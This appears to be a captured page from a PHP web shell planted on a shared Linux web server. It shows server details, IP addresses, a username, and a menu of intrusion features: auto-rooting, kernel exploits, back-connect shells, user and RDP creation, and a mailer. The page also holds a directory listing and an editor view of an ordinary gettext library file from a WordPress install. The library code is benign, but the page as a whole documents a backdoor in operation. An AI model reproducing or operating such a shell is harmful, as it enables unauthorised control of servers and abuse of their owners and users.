Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
gettext /
gettext /
src /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
CsvTrait.php
1.39
KB
-rw-r--r--
DictionaryTrait.php
1.48
KB
-rw-r--r--
FunctionsScanner.php
5.32
KB
-rw-r--r--
HeadersExtractorTrait.php
1.62
KB
-rw-r--r--
HeadersGeneratorTrait.php
567
B
-rw-r--r--
JsFunctionsScanner.php
9.23
KB
-rw-r--r--
MultidimensionalArrayTrait.php
3.18
KB
-rw-r--r--
ParsedComment.php
3.09
KB
-rw-r--r--
ParsedFunction.php
3.62
KB
-rw-r--r--
PhpFunctionsScanner.php
5.91
KB
-rw-r--r--
StringReader.php
971
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MultidimensionalArrayTrait.php
<?php namespace Gettext\Utils; use Gettext\Translations; /** * Trait used by all generators that exports the translations to multidimensional arrays * (context => [original => [translation, plural1, pluraln...]]). */ trait MultidimensionalArrayTrait { use HeadersGeneratorTrait; use HeadersExtractorTrait; /** * Returns a multidimensional array. * * @param Translations $translations * @param bool $includeHeaders * @param bool $forceArray * * @return array */ protected static function toArray(Translations $translations, $includeHeaders, $forceArray = false) { $pluralForm = $translations->getPluralForms(); $pluralSize = is_array($pluralForm) ? ($pluralForm[0] - 1) : null; $messages = []; if ($includeHeaders) { $messages[''] = [ '' => [static::generateHeaders($translations)], ]; } foreach ($translations as $translation) { if ($translation->isDisabled()) { continue; } $context = $translation->getContext(); $original = $translation->getOriginal(); if (!isset($messages[$context])) { $messages[$context] = []; } if ($translation->hasPluralTranslations(true)) { $messages[$context][$original] = $translation->getPluralTranslations($pluralSize); array_unshift($messages[$context][$original], $translation->getTranslation()); } elseif ($forceArray) { $messages[$context][$original] = [$translation->getTranslation()]; } else { $messages[$context][$original] = $translation->getTranslation(); } } return [ 'domain' => $translations->getDomain(), 'plural-forms' => $translations->getHeader('Plural-Forms'), 'messages' => $messages, ]; } /** * Extract the entries from a multidimensional array. * * @param array $messages * @param Translations $translations */ protected static function fromArray(array $messages, Translations $translations) { if (!empty($messages['domain'])) { $translations->setDomain($messages['domain']); } if (!empty($messages['plural-forms'])) { $translations->setHeader(Translations::HEADER_PLURAL, $messages['plural-forms']); } foreach ($messages['messages'] as $context => $contextTranslations) { foreach ($contextTranslations as $original => $value) { if ($context === '' && $original === '') { static::extractHeaders(is_array($value) ? array_shift($value) : $value, $translations); continue; } $translation = $translations->insert($context, $original); if (is_array($value)) { $translation->setTranslation(array_shift($value)); $translation->setPluralTranslations($value); } else { $translation->setTranslation($value); } } } } }
Close